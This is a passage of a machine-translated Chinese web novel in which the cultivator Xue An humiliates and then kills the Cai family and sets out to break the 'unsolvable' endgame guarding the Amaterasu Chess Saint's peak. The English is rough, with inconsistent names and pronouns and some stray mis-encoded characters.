    And his father, the head of the Cai family, took a few steps, and said in a very flattering and humble manner: "Mr. Xue, all of this is because of the instigation of this rebellious son. I have just taught him severely. A lot, don''t blame us for this!"


    Xue looked at him quietly, without saying a word. .


    This kind of silent silence made the smile on Patriarch Cai''s face gradually stiff, and finally he lowered his head trembling.


    Then Xue Ancai said indifferently: "I wish to accept the bet. I said that I won the game before. All of you Cai family will kneel in front of Gong Xueman and apologize! Now... it''s time to cash it out!"

 Chapter 1007： After 3 days, I took his head

    "But my lord..."


    The Patriarch of the Cai family trembled all over, raised his head, and looked at Xue An with a grimace.


    You must know that the Cai family is also a big family on the Tianmu star, and it is also number one in the chess path. If you really kneel down in front of so many people, then the Cai family will become a joke.


    By then, their Cai family will be completely destroyed.


    Therefore, he looked at Xue An with the last glimmer of hope, hoping that this strong man who did not know where he emerged could let him go.


    But Xue An was not moved at all, just said indifferently: "Why? Want to regret it?"


    "Of course not, but sir, can you listen to me..." Patriarch Cai looked anxiously trying to say something.


    Xue An waved his hand, "Needless to say, I don''t want to listen. I now give you three breathing times. If you haven''t kneel by then, then I will let you kneel forever!"


    Xue An''s tone is very understatement, but it seems to contain supreme majesty, making the Cai family''s expressions all changed wildly.


    "grown ups����."


    "One!" Xue An stretched out a finger indisputably.


    The head of the Cai family gritted his teeth and kicked Cai Yongxin, who was limp to the ground, like a dead dog.


    "You bastard, don''t apologize to Miss Xueman!"


    Cai Yongxin was struck by lightning and immediately regained consciousness.


    Yes indeed!


    The only life-saving straw for myself at this time is Gong Xueman.


    So he knelt and crawled over without hesitation, crying in tears, "Xueman, I was wrong, please let us go Cai''s family! I really know I was wrong!"


    Cai Yongxin''s behavior made the audience very cold.


    But I have to say that this move is really effective.


    At least Gong Xueman showed a hint of hesitation.


    Before she could intercede, Xue An frowned slightly and sneered, "Noisy!"


    The words fall.


    A huge coercion directly fell on the heads of the Cai family.


    Cai Yongxin didn''t even resist, so he was crushed into meatloaf.


    As for the Patriarch of the Cai family and others, they hummed together and fell to the ground.


    Even because the huge force pressing on them was too strong, this kneeling shattered their knees.


    The audience was shocked this time.


    What Xue An did in the chess courtyard before, these people outside have not seen it.


    It can be seen that now Xue An hasn''t moved his fingers. With a soft drink, a family of chess masters can''t even resist and kneel directly in the dust.


    This kind of strength is terrifying.


    Everyone was discolored by it.


    As for everyone in the Cai family, their faces are as pale as paper, partly because of pain, but more because of fear.


    Fear of Xue An��s powerful deterrence.


    Gong Xueman''s eyes also showed signs of shrinking. After all, she was only a young girl of 28 years. Although her nature was a bit stubborn, she was still timid in the face of so many people kneeling.


    "I know you are a little scared, and even sympathize with them!" Xue An said suddenly.


    "But don''t forget that when the gambling agreement was made before, these people were not what they are now!"


    "I have won now, so they will beg for mercy. Just imagine, if I lose, what kind of face will they look like? Have you thought about it?"


    Xue An''s words caused Gong Xueman to be struck by lightning, and his expression gradually calmed down.


    Yes!


    If the status is exchanged now, this Cai family still doesn''t know what arrogance is like!


    Xue An smiled when he saw this, "I don''t mean to make you lose sympathy. I just want to tell you that when faced with various reasons, it is best to think carefully!"


    Gong Changyue patted Gong Xueman with a blank look, "Hurry up and thank Mr. Xue for his advice! What he said to you is all the most logical!"


    "Thank you, Mr. Xue!" Gong Xueman said solemnly.


    Xue An smiled, then turned his head to look at these people who were kneeling on the ground.


    "Originally, you just kneel down, so there is nothing to do, but if you have to do something else, you can''t blame others!"


    "Now this result, do you feel satisfied?" Xue An said lightly.


    Patriarch Gong was almost crying, and nodded in response: "Full...satisfied!"


    Xue An smiled, then patted his head with his hand.


    Every time I shoot, the Patriarch Cai trembles all over, and his face turns white.


    "This time I will let you Cai family a horse!"


    Everyone in the Cai family is bleeding.


    Can this be regarded as letting us go?


    "At least, I didn''t kill the soul of your precious son, otherwise do you think he can stay here?"


    The Patriarch of the Cai family nodded hurriedly, "Yes, yes! Thank you Mr. Xue for his mercy!"


    "But it''s easy to let you go, what should you do next, do you understand?"


    "Understand!" The Patriarch of the Cai family nodded his head like smashing garlic, "I immediately moved out of Tianmuxing with my family after I went back, and I dare not step into it again!"


    Xue An laughed loudly, then patted the Patriarch Cai��s head vigorously, "Okay, you can be considered a sensible person, take your son''s corpse, go!"


    "Thank you, Mr. Xue!"


    The Patriarch of the Cai family did not dare to delay at all, he stood up forcibly, picked up Cai Yongxin''s soul and the corpse, and then hurriedly left Yuejianxing.


    Everyone looked up at Cai��s Feizhou, which was gradually flying away from the sky, with a look of astonishment on his face Anyway, it was also a big family with all the power, and was knocked down to the dust with just a few words, even his own. The foundation cannot be kept.


    Is this Xue An not only powerful, but also so cruel and decisive in his actions?


    At this time, Xue An looked around the audience and said lightly: "Go back and tell you that Amaterasu, three days later, I will take his head and kick the ball, let him wait at home!"


    Boom!


    With the whole audience boiling, Xue An led some people out of here.


    The chess game ended in a hastily unexpected ending.


    But everything that happened, like a hurricane, spread quickly.


    Amaterasu Chess Academy was killed by Xue An alone, Cai Jiayuan escaped, and Xue An wanted to kill Amaterasu Chess in three days.


    These earth-shattering events are united in everything, shocking everyone who hears them.


    Countless Amaterasu masters are completely angry.


    Because of what Xue An is doing now, it seems to be hitting the entire Amaterasu Star Field in the face.


    Especially, even the elders of Amaterasu Chess Academy died tragically in his hands, and it made countless Chess Academy disciples angry.


    Then the entire Amaterasu star field began to boil, and countless Amaterasu chess masters began to gather at the Remnant Chess Peak located on Amaterasu.


    Because of this, it is the place where Amaterasu Chess was born. .


    Even the foreign chess masters were horrified by this formation. Some people even shook their heads secretly, sweating for Xue An.


    Because what Xue An is doing now is equivalent to fighting the entire Amaterasu star field with his own power, this kind of contrast is really unsettling.

 Chapter 1008： Going honestly, isnt he fragrant?

    at this moment of uproar in the world.


    Xue An was sitting in the small courtyard of the inn drinking tea comfortably.


    When Zhuge Xuanqing walked in, he didn''t even lift his head, but said lightly: "Sit down!"


    Zhuge Xuanqing hesitated for a while, and then sat beside Xue An.


    Xue An smiled, and handed over a cup of tea, "Taste it, freshly cooked tea, it tastes good!"


    Zhuge Xuanqing took a sip, but almost didn''t spray it out, "Why is there salt in this tea?"


    "There is not only salt, but also scallion and ginger! It''s a pity that there is no jujube, otherwise it will taste better!" Xue An said lightly.


    Zhuge Xuanqing''s eyes widened, "I can still drink tea like this?"


    "I didn''t get used to it when I first started, but someone said that as long as you drink a few more times, you will like the taste. On this point, he didn''t lie to me!" Xue An said with a smile.


    But at this moment Zhuge Xuanqing had no energy to pay attention to these. All her attention was attracted by the battle three days later and the safety of her brother.


    "Mr. Xue, do you think my brother will really be fine? Will that Amaterasu Chess take the opportunity to kill my brother?" Zhuge Xuanqing said with a worried expression.


    Xue An smiled upon hearing the words, "Do you know why I said that at the end?"


    Zhuge Xuanqing shook her head, which was also the one thing that puzzled her most.


    If you really want to find this Amaterasu master, why bother to show up?


    If this Amaterasu sacred dog jumped the wall in a hurry, wouldn''t it indirectly kill his brother?


    Xue An seemed to see the confusion in her heart, and said lightly: "I know your worries, but on the contrary, if I say this, your brother will be safer!"


    "Huh?" Zhuge Xuanqing looked at Xue An suspiciously.


    Xue An stood up and said lightly: "Actually you don''t know people like Amaterasu Chess!"


    "He can achieve his present status, he must have stepped on the bones of countless people. It can be said that his chess king throne is completely stained with blood!"


    Hearing the words, Zhuge Xuanqing remembered some rumors, and couldn''t help nodding slightly.


    "In the eyes of these so-called powerhouses, the sky and the earth are not as important as their own status and fate! Other than that, everything can be discarded, and if you have to make a choice between the two, then They will definitely choose to save their lives!"


    "Because for them, as long as they are alive, they can have everything! In the face of fate, they can ignore all morality, honor, and even the bone-out hatred!"


    Speaking of this, Xue An turned to look at Zhuge Xuanqing, "And everything I have shown now makes him feel jealous. Before he can figure out my details, he must increase the weight in his hand. Will make your brother alive!"


    Zhuge Xuanqing''s eyes gradually became clearer.


    She was a very smart woman, but she lacked a person to tell her. When Xue An said casually, she immediately understood.


    "It turned out to be like this, Mr. Xue, Xuan Qing thanked you for your great kindness for my brother and for the entire Zhuge family!" Zhuge Xuanqing stood up and gave a respectful salute.


    Xue An did not evade, but accepted her worship very calmly.


    "But Mr. Xue, I have already sent a message to my home. If you want to wait for them to arrive, it will take at least five days, you..."


    Zhuge Xuanqing hesitated in the words behind, but the meaning was already obvious.


    Despite Xue An''s tyrannical strength, after all, he was facing a strong man in the entire star field, and that day, Zhaoqi Sheng was an old monster who had been the leader of chess for hundreds of years.


    Such a disparity in strength, is Xue An really good?


    Xue An smiled upon hearing this, "Don''t worry, I have my own measures!"


    Zhuge Xuanqing originally wanted to say something, but when he saw Xue An''s expression, he finally swallowed what he said.


    But immediately, she remembered something again, and said in a deep voice, "Mr. Xue, you shouldn''t have let the Cai family go!"


    "Oh why?"


    "You don''t know that this Cai family has a bad reputation in chess, but this time you suppress them in this way, they will definitely hold a grudge. You can suppress it here. I am afraid that once you leave, this Cai I am afraid..."


    Zhuge Xuanqing''s worries are not groundless.


    The reputation of the Cai family is even ten times worse than Zhuge Xuanqing said.


    It can be said that the street is smelly.


    And now after such a tossing, the Cai family is obviously untenable in Outland, and they are likely to completely take refuge in the embrace of the Amaterasu Star Territory.


    That''s why Zhuge Xuanqing felt that Xue An was a little inappropriate to let them go.


    Xue An smiled when he heard the words, "You are worried about it, but who said I let them go?"


    "Huh?" Zhuge Xuanqing was taken aback.


    Xue An raised his eyes and glanced at the distant sky, and said lightly: "It''s probably almost done!"


    Zhuge Xuanqing also followed Xue An''s gaze to look into the distance, but he found nothing and couldn''t help but be puzzled.


    But she didn''t dare to ask more, so after sitting for a while, she got up and left.


    Seeing the girl��s back, Xue An filled a cup of tea again, took a sip, and then frowned slightly Zhuge old man, no wonder even your younger generations find it awful, even After drinking for so long, I still find it hard to swallow! "


    said, Xue An''s mouth showed a smile, "But it''s really interesting to name your junior! I don''t know how you will feel when you hear it!"


    "Also, I happened to pass by this time and helped your younger generation. I don''t know how you have to thank me then?"


    Xue An said softly, his eyes full of playfulness.


    at the same time.


    in the starry sky that is only a thousand miles away from the moon.


    Cai''s flying boat slowly stopped.


    The head of the Cai family looked at the starry sky outside the porthole with a gloomy expression.


    "Patriarch, the spirit of the young master has recovered sober!" Someone reported.


    Then a ball of light floated in the air.


    "Father, this man named Xue is so arrogant, you must call me the shots!" Cai Yongxin''s voice came from the light group.


    The Patriarch of the Cai family sneered, "My son, don��t worry, although this guy is tough, he is not without shortcomings. For example, he let us go this time! It shows that he is a very greedy and vanity guy!"


    "Now there is no retreat for our Cai family, so I decided to go to Amaterasu and seek refuge with Master Chess! Only his old man can stop this guy!"


    Cai Yongxin shouted excitedly: "Father, it''s great for you to think so! Let''s go now!".


    But just as the flying boat was about to turn around and head to Amaterasu, there was a slight sigh in the void.


    "Go away honestly, isn''t he fragrant?"

 Chapter 1009： Amaterasu, Zanhomine

    "Who?" Everyone in the Cai family was surprised.


    Then I saw in the void, a sword light began to emerge.


    In an instant, a huge sword straddled the sky and appeared in front of the flying boat of the Cai family.


    Then Xue An''s voice reached everyone in the Cai family.


    "If you leave honestly, then nothing will be mentioned! Unfortunately, given you the opportunity, you don''t know how to cherish it! So, this sword will send you on the road!"


    "No...!" Cai''s house cried out loudly.


    But any struggle at this moment has become meaningless.


    This sword cut across the void, directly passing through the middle of the flying boat.


    Click!


    There was a crisp sound.


    A thin crack appeared in the middle of the flying boat of the Cai family, and then it broke apart in an instant.


    The huge suction from the starry sky instantly tore the flying boat to pieces.


    But all this has no meaning to everyone in the Cai family.


    Because before this sword has been cut down, everyone in the flying boat has been shattered by the supreme sword power contained in this sword light.


    Cai''s family was beheaded by Xue An.


    And this news, waited until the next day, only because of a flying boat passing by this starry sky and passed back to the moon.


    When Zhuge Xuanqing knew about it, he couldn''t help being stunned for a long while.


    She finally understood what the phrase Xue An said at the time was almost the same!


    Could it be that from the very beginning, Mr. Xue knew that the Cai family would be resentful and even want to join the Amaterasu Star Territory, so was he prepared in advance?


    If it is true, then this Mr. Xue would be too terrible!


    Zhuge Xuanqing felt awe-inspiring.


    Other people who learned the news were also shocked by Xue An''s decisive means.


    At the same time, under the Remnant Chess Peak of Amaterasu, the crowd was surging. At first glance, it looked like a vast ocean.


    Almost all chess masters from the Amaterasu star field rushed over.


    So many powerful people gathered together, even if it is just a very simple gathering, it is enough to make the viewers afraid.


    At the foot of Canqi Peak, there are members of several great chess families in Amaterasu Star Territory.


    Among them, the Dai family, the Gu family, and the Yuan family are especially headed.


    That''s right.


    Dai Qinxin and others who died under Xue An belonged to these big families.


    It can be said that the entire Amaterasu Academy is controlled by these big families.


    Therefore, Xue Anta''s actions at Ping Tian Zhaoqi Academy seriously threatened the interests of these great families.


    That''s why they came together in such a unity.


    "If you want me to say, we shouldn''t wait here, we should just kill Yue Jianxing, and find the kid named Xue to settle the account!" a scarred and fierce man roared.


    "Hehe, Patriarch Gu seems to be in a hurry! But that kid is not an ordinary person. If he kills like this, the outcome may be a bit unpredictable!" A woman with an expression and face that resembled Dai Qinxin said softly. .


    Gu Evil glared at the woman, "Dai Yueying, if you are afraid, it doesn��t mean that others will be afraid. I don��t believe that this kid with the surname Xue is as evil as the legend! Even if he really has two heads, I will I will pull him off!"


    Dai Yuexun sneered, "Gu E, you said it is so lively, then you go, what''s the majesty here? I will tell you the old lady today, I want to pull us into the water, no way!"


    "You..." Gu E was furious.


    "Okay, okay! Let''s just say a few words! All three of our families have died in the hands of this surname Xue, so we are in the same mood, don''t attack each other again!" Yuan Zhentian, who has not spoken, said I was also persuaded at the time.


    "Huh! I just don''t understand, even if this guy has three heads and six arms, so many of us, he will be piled up to death, so why bother here!" Gu Yin said dullly.


    "Well, as long as the ancient masters rush up first, our Dai family will never fall behind, how?" Dai Yuexian sneered.


    The ancient evil is silent.


    "Hmph, to put it bluntly, I just want to pull someone out to be a dead ghost, as if someone can''t see through! You say no, Brother Zhentian!" Dai Yuexun said greasyly.


    This voice, combined with her devil''s figure, is enough to make ordinary men feel irritated and unable to sustain themselves.


    Yuan Zhentian''s complexion suddenly turned pale, and then he took a few steps back like a snake, "Patriarch Dai, please also respect yourself!"


    "Humph! Something that doesn''t understand style!" Dai Yueying snorted disdainfully.


    Yuan Zhentian secretly wiped out his cold sweat.


    Don''t look at the Xiaoniao Yiren that Dai Yuexian performed, but in fact he is a master who cannibalize people without spitting out bones.


    As the weakest among the three great families, Yuan Zhentian naturally avoided it.


    At this time, Dai Yuexian raised his head to look at the remnant Qifeng that was submerged in the mist, and said with some yearning: "I don''t know what Master Qi is doing now, is he preparing to kill this surname Xue?"


    Regardless of how many people have descended from Canqi Peak, no one dared to cross the thunder pond, and even a little courageous, did not dare to get too close to this towering mountain.


    Because of this entire peak, the gods of Amaterasu Chess have been thoroughly condensed.


    If you go up the mountain without his permission, you will be trapped by the chess game and be trapped in an impossible situation.


    The reason for saying this is that this chess game is an endgame that no one has ever been able to solve since ancient times.


    How many years I don''t know how many amazing people want to climb this mountain, but all of them are broken and sinking into the sand because of this endgame.


    Until now, no one has any illusions about this endgame anymore.


    Because Amaterasu Chess once personally said that this endgame is unsolvable.


    That''s why this mountain was named Canqi Peak.


    Therefore, after hearing Dai Yueying''s whisper, Gu E and Yuan Zhentian also raised their heads and looked towards Canqi Peak.


    "I guess Master Chess is now thinking about **** this surname Xue!" Gu Evil said grimly.


    But when they were guessing under the mountain.


    in a very deep and secret valley at Canqi Peak.


    There are countless huge chains made of sacred iron running through the mountain, full of beauty of power.


    These chains interlaced across the valley, like a spider web.


    And in the middle of the spider web, tightly bound by countless iron chains, is a boy with his head down and ragged clothes.


    The boy kept his head down like this, if it weren''t for the slight ups and downs in his chest, he really seemed dead.


    I don��t know how long it took.


    In the void in front of the boy, a wave of fluctuations suddenly came.


    Then an ethereal figure appeared in front of the boy.


    The boy slowly raised his head.


    This is a face that resembles Zhuge Xuanqing, but a little more heroic than Zhuge Xuanqing. .


    Especially his eyes, even though in this environment, they are still shining like stars.


    "Are you harvesting again?" The boy whispered, a sneer appeared at the corner of his mouth.

 Chapter 1010： If you want to see me, break the mess first

    The virtual image that appeared was the divine mind clone of Amaterasu Chessmaster, and he smiled slightly, "Zhuge Hanzo, can''t I come and see you without harvesting? After all, if you count it, I''m still your elder. Yeah!"


    That''s right.


    The young man **** in the valley is Zhuge Xuanqing��s brother, Zhuge Hanzo, a young genius who was once famous throughout the world.


    Zhuge Hanzang smiled coldly, "Elder? Trapped me here, come to harvest my spiritual thoughts every month, you can do such things, you are really a good elder!"


    "Zhuge Hanzo, can you not use the word harvest to describe it? I''m just borrowing it!"


    Zhuge Hanzo was startled slightly, and then he showed a playful smile, "I see!"


    "What do you understand?" Amaterasu Master was startled.


    "You are scared! Let me guess, it should not be our Zhuge family, but the opponent should be very strong, and even make you scared! Is that right?" Zhuge Hanzo looked at Amaterasu Chess with a smile.


    Although it is only a virtual image, you can still see the shady bird on the face of Amaterasu.


    "Zhuge Hanzo, you are really smart enough, yes, there is indeed a guy who gave me a little trouble, but you don''t think this can change anything! After all, I am the only chess saint in all domains! The supreme being! !"


    "Oh? Then dare you to tell me, how did you get this chess champion?" Zhuge Hanzo said lightly.


    "You..." Amaterasu Gosei was completely angry, but soon he calmed down and said with a grin.


    "Zhuge Hanzo, you really deserve to be the best young genius in hundreds of years, but you should understand that now you have only one role, and that is to be the weight in my hand!"


    "Jing Tian Rui is dead?" Zhuge Hanzo was taken aback.


    Amaterasu''s heart was slightly shaken, because Zhuge Hanzo''s reaction was so fast.


    Before, he imprisoned Zhuge Hanzo in order to plunder his intellect and spirituality to supplement his son Jing Tian Rui.


    But now that Jing Tian Rui is dead, all this naturally has no meaning.


    So his role is only to be a weight before Xue An arrives.


    But he had only a word of his own, and he had already reacted, which made Amaterasu''s heart secretly murderous.


    Because he also knows very well that the enmity between him and the Zhuge family cannot be solved at all.


    "Do you really want to kill me?" Zhuge Hanzo said lightly.


    "Huh!" Amaterasu Chess snorted coldly, "Zhuge Hanzo, I really want to kill you, but not now, because you are still useful to me, but after three days, when the guy named Xue arrives Remnant Qifeng, your utilization value has disappeared! So cherish the time that follows! This may be your last day! Hahahahaha."


    Amaterasu Chess laughed wildly.


    Zhuge Hanzo said lightly: "You are so sure that you can win?"


    The laughter stopped abruptly.


    Amaterasu Chess Sage suddenly rushed to the front of Zhuge Hanzo and roared grimly: "Of course I can win! Because I am the unique and exclusive chess sage! And the endgame of this broken chess peak is unbreakable. As long as I don''t go down the mountain, it will be Heavenly King Lao Tzu is here, and he doesn��t take me too far!"


    Zhuge Hanzo stopped talking, but looked at Amaterasu Chess with a smile.


    The contempt and disdain in his eyes made this Amaterasu chess master crazy again, and he waved his hand.


    Seeing that the chain was suddenly tightened, he began to pull Zhuge Hanzo to spin in the air.


    There was a sound of broken flesh, but Zhuge Hanzo still remained awake under the severe pain that was enough to make ordinary people crazy, even without frowning.


    After another frantic torture for a while, this day Zhaoqi Shengzhi left the valley unwillingly.


    After he left, Zhuge Hanzo, who was already covered in bruises, gave a soft smile and said in a very weak voice.


    "No one can break it? If it weren''t for my divine mind damage, give me some time, I would be able to solve this endgame! What''s more, there are many strong men among the heavens, how can you be a little chess sage? Can you guess?"


    Outside the chess room on the top of Canqi Peak, several chess slaves are waiting for dispatch here.


    At this moment.


    Just listened to the angry voice of Amaterasu Qisheng from the chess house, "The order is passed down, and the mountain protection formation of Remnant Qifeng will be fully operational from now on. At the same time, there is a word that the surname Xue wants to take my item. Go to the head, then let''s break the endgame of this residual chess peak first!"


    "Yes!"


    With an order, the chess slaves began to move separately.


    soon.


    Dao Guanghua appeared on the top of the remnant chess peak, and it enveloped the entire mountain in an instant.


    Everyone under the mountain was shocked.


    "What''s the matter?" Someone asked in surprise.


    "It''s the guarding formation of Canqi Peak, Master Qi finally made a move!" Someone shouted in surprise.


    And just now.


    A chess slave appeared in the air, and said in a deep voice: "The chess master has orders. If Xue Ni wants to challenge him three days later, he must break the broken chess peak before he is eligible!"


    After that, the chess slave disappeared into the air.


    The audience was silent first.


    Then it boils.


    "Haha, I know Master Chess won''t let this kid continue to run wild, right!" The ancient evil laughed, and the laughter was full of joy.


    Yuan Zhentian couldn''t help but let out a sigh of relief, "This is a reassurance, it seems that Master Chess is better!"


    "That''s right, the surname Xue won''t break the line by then, I see what face he still has to yell with Master Qi!" Gu E said with a smug expression.


    Only Dai Yuexun''s face showed hesitation, "But...what if Xue An really breaks this endgame and opens up the mountain protection formation?"


    "Impossible!" Gu Evil said categorically.


    "Absolutely impossible!" Yuan Zhentian also shook his head, and said firmly.


    "I think this endgame has gone through a thousand years. I don''t know how many amazing and brilliant ancestors are helpless. He is a young man with a weak crown. Even if he started practicing chess from his mother''s womb, it is impossible to solve this inverse. Endgame!" Gu E said.


    "Yes! Master Chess admitted in person that this endgame is unsolvable! How could he be able to solve it!" Yuan Zhentian also added.


    Watching these two people sing together Dai Yuexun closed her mouth, but a hint of ominous premonition suddenly rose in her heart.


    Is things really as optimistic as these people think?


    soon.


    The news spread at a terrifying speed throughout the Amaterasu star field.


    Countless Amaterasu chess masters were delighted by it, thinking that this move was regarded as blocking all of Xue An''s roads.


    The chess players of the foreign domain are full of worries.


    Because everyone knows, this residual chess peak endgame is powerful!


    Is Mr. Xue really all right?


    In this highly anticipated situation, Xue An, who lives in the inn, just smiled after learning the news, and then said lightly.


    "Okay! Let him wash his neck and wait for me at home!"

 Chapter 1011： Shaking Endgame

    Three days are fleeting.


    Waiting for the day of the battle, chess monks from all domains swarmed in, and the dense flying boats even filled the airspace around Amaterasu.


    For many people, this engagement means a lot.


    Because the Amaterasu Star Territory has always been aloof for hundreds of years, it is because they have the banner of Amaterasu.


    Amaterasu Chess Master is like a nuclear deterrent in the chess world where the strong are born in large numbers.


    It is precisely because of his existence that even the Zhuge family, who is born in large numbers, has to bow to the Amaterasu Star Field.


    And now this turned out Mr. Xue actually wants to openly challenge the authority of Amaterasu.


    If he really succeeds, the Illumination Star Field will be in a slump that day.


    But the question is, can he really succeed?


    Countless people have this question in their hearts, and they rushed to see this once-in-a-lifetime excitement.


    this moment.


    Under Canqi Peak, the crowded crowd filled the space above and below.


    But there is still a clear dividing line.


    is an Amaterasu chess master on one side, and an outland chess master on the other.


    The well water on both sides does not violate the river water.


    "Hey, do you think this Mr. Xue can really challenge successfully?" Someone whispered.


    "I think it''s awkward, after all, if you want to see Amaterasu Chess, you have to pass the level of Remnant Chess Peak Guarding the Mountain!"


    "Is it really that difficult to protect the mountains?"


    "That endgame, how many heroes from the past and the present, do you say it is difficult? And you haven''t seen the people from the Amaterasu Star Territory have been dispatched? So I think this time, this Mr. Xue is probably too lucky. not enough!"


    "I don''t agree with you. This Mr. Xue previously leveled the Amaterasu Chess Academy entirely by himself. With such strength, wouldn''t it be possible to open an endgame?"


    "Haha! Amaterasu Chess Academy? That''s just a puppet controlled by a few great families! To be honest, even the people of Amaterasu Chess Academy add up, and it can''t compare to a finger of Master Chess!" This person sneered. .


    The people around were all silent.


    Yes, the strongest point in chess is the advantage of crushing. What''s more, the master of chess has been famous for hundreds of years. During this period, there are countless people who want to challenge him, but no one succeeds.


    This time, this Mr. Xue is probably the same result!


    In short, the Amaterasu chess masters all have a triumphant expression, while the foreign chess masters are all preoccupied.


    In this weird atmosphere, time passed by minute by minute.


    In a blink of an eye, it was past noon.


    The crowd began to agitate slightly.


    "Why haven''t you come yet?"


    "Could it be that something was delayed on the road?"


    "I think I might be scared, so I dare not come!"


    People whispered and talked.


    But when many people think Xue An dare not come.


    A star boat suddenly appeared above the sky.


    The speed of this star boat is extremely fast, almost at the same time as seeing it, it has already descended on Amaterasu.


    Then a group of people walked out of the star boat.


    "It''s Zhuge Xuanqing!"


    "Aren''t they the Gong brothers and sisters?"


    Some people who knew each other recognized the person and couldn''t help shouting.


    Then I saw a young man in white walking out of the star boat.


    This young man has a long jade body, fluttering white clothes, a weak young crown, but has an unspeakable majesty.


    Especially when he raised his eyes and looked around the audience, the noisy crowd seemed to have been enchanted, and instantly quieted down.


    Gu Ei and others in the Amaterasu chess master''s camp looked gloomy.


    "Is this the Xue''s name? What can he do if he hasn''t grown his hair yet?" Gu E said with a fierce look.


    Dai Yuexun looked at her with bright eyes, "Tsk tusk, it looks really good!"


    There is no bit of enmity in his words.


    Actually, as the new head of the Dai family, Dai Yueyue has no feeling at all about the death of her sister Dai Qinxin, and is even very happy.


    Because only she is dead, she can truly control the Dai family.


    So she is also the only one of the three big families who has no feelings for revenge.


    At this moment.


    I saw Xue An standing in the void, taking a look at the towering peak of residual chess, and a smile appeared at the corner of his mouth.


    "Is this Canqifeng?"


    As he said, Xue An took a step forward, and instantly came to Canqi Peak.


    But at this moment, a faint light curtain rose, blocking Xue An''s path.


    The light curtain is criss-crossed, lined up with brilliant chess pieces.


    There was a commotion in the crowd.


    "Is this the famous endgame?" someone exclaimed.


    Xue An stretched out his hand and lightly touched the light curtain.


    As far as his fingertips were concerned, the situation suddenly changed, and the originally peaceful chess momentum instantly raged, and attacked Xue An like a giant wolf.


    The crowd exclaimed.


    Xue An didn''t even move, and the frenzied chess moves disappeared just a few feet away from Xue An.


    At the same time, an arrogant voice came from the top of Canqi Peak.


    "Xue, what do you think of this gift?"


    Xue An didn''t say a word, but watched quietly.


    And this Tian Zhaoqi Sheng is becoming more and more frantic.


    "Xue, your strength is really good, but you are too arrogant, you don''t understand at all. I am the supreme king in chess! And today this endgame is for you A lesson!"


    "If you want to beat me, then get through this endgame first! Otherwise you won''t even be qualified to see me! Hahahaha!"


    There was a commotion in the crowd.


    "It''s Master Qi Sheng, Master Qi Sheng spoke in person!"


    And countless people''s eyes focused on Xue An, who stood in front of the light curtain, silent.


    Someone couldn''t help but shook his head secretly.


    As expected, there is still no miracle!


    In the face of such a shocking endgame, how could he be able to solve it for a young man in a mere paltry?


    And Zhuge Xuanqing, the Gong brothers and sisters, etc. all raised their hearts to their throats.


    Mr. Xue, you must come on!


    At this moment.


    I saw Xue An raised his head and glanced at this light curtain, and said in a calm tone: "Do you really think...this can block me?"


    After that, Xue An''s eyes narrowed slightly, and the huge mentality instantly entered the game, and began to mobilize the chess pieces to crack the game.


    All of a sudden, I saw that the chess moves above the light curtain were volatile, and the chess pieces moved like flying.


    The whole audience was silent.


    With Gong Xueman''s cultivation base, he naturally couldn''t understand the chess game above, so he asked in a low voice, "Brother, can Mr. Xue crack this endgame?"


    Gong Changyue looked at him solemnly, then shook his head, "I don''t know, but it''s probably not that simple!".


    At this moment, Zhuge Xuanqing, who had been engrossed in the direction of the chess game, suddenly shook his whole body, and his complexion instantly turned pale.


    "Sister Xuan Qing, what''s the matter?" Gong Xueman hurriedly asked when he saw this.

 Chapter 1012： Dead! Break

    "This chess game......" Zhuge Xuanqing whispered in despair.


    And Gong Changyue also saw the clues at this time, couldn''t help but open his mouth slightly, and said desperately: "Mr. Xue..."


    At the same time, the audience was even more upset.


    Because as long as the strength reaches the 9th dan, it can be seen that Xue An''s endgame has now entered a desperate Jedi.


    not only has few pieces left, but also has no chess momentum.


    "Hehe, let me just say it, how can he break the endgame with a stinky hairy boy!" Gu evil grinned.


    Yuan Zhentian also showed a smile, "Yes, in fact, from the very beginning, I saw that he would never win because his methods of breaking the game were mediocre. In history, more than one strong man has tried to use this method. After breaking through the endgame, it all failed!"


    Only Dai Yuexun did not speak, but looked at the young man standing in front of the light curtain, and couldn''t help but sigh.


    It seems that Master Chess is better!


    At the same time, the voice of Amaterasu Gosei came again.


    "The surname is Xue, what can you say now?"


    The Amaterasu chess masters were beaming after hearing this, while all the foreign chess masters bowed their heads in despair.


    Despite their unwillingness, the situation is such that they can only choose to accept it reluctantly.


    But just when everyone thought Xue An had lost.


    Xue An suddenly shook his head and chuckled, "It''s like I''ve lost it. Do you really think I can''t break this endgame?"


    "Hehe!" Amaterasu Chess sneered for a while, "Anyone can speak big words, but at this time, they are still holding on. What is it?"


    "Give up and retreat, I might let you go! Otherwise, just wait to die!"


    The audience was awe-inspiring.


    Zhuge Xuanqing had a sad look in his eyes, and then took a step forward, "Mr. Xue, let''s forget it!"


    Her words reminded the Gong brothers and sisters, and the two of them also stepped forward and said.


    "Mr. Xue, don''t worry about temporary gains and losses! Forget it!"


    "Yes! You are not ashamed of losing in the first endgame of the age!"


    Many foreign chess masters also spoke out at this time.


    At this moment, Xue An, who had been bowing his head silently, suddenly laughed. The laughter began to be very small, but gradually, the voice became louder and louder.


    In the end, Xue An raised up to the sky and laughed.


    Everyone was surprised.


    "What''s the matter? What is he laughing at?"


    "Could it be excessive stimulation, crazy?"


    Amaterasu Chess Saint also couldn''t help but coldly said: "The surname is Xue, what are you laughing at?"


    Xue An laughed gradually, and then said casually: "It''s nothing, but it''s ridiculous to think that you hold a broken chess game but treat it like a baby!"


    "You..." Amaterasu went into a rage.


    Xue An waved his hand, revealing two white tiger teeth, and smiled swiftly, "Okay! Didn''t you say that this endgame is unbreakable, then today, I will let you understand that the power in your eyes, in my opinion, is How ridiculous!"


    Having said that, Xue An''s spiritual thoughts suddenly spread, and the chess deduction on the endgame instantly accelerated more than ten times.


    Viewers were all shocked.


    "This kind of deduction speed, a little carelessness is the ending of chess destruction!" Someone exclaimed.


    And more people looked at the chess game above the light curtain with a dazed expression.


    They don''t think Xue An still has the possibility of turning over, because there are not many chess pieces that belong to Xue An on the board.


    In such a situation, even the gods can hardly change the outcome of failure.


    But at this moment, the chess game suddenly stopped, and then everyone was shocked to find that there was only one chess piece belonging to Xue An in the endgame.


    This lone chess piece stands in the middle palace, facing an enemy army that almost occupies the entire chessboard.


    "Hahahaha, Xue An, is this the break you said? It''s really..." After a period of silence, Amaterasu Chess laughed wildly.


    But at this moment, Xue An smiled faintly, "Yes, this... is my break!"


    After that, Xue An fell.


    This one fell in a position that no one else could even imagine.


    "This position..." The chess players in the audience were stunned, because they couldn''t imagine the meaning of the next move here.


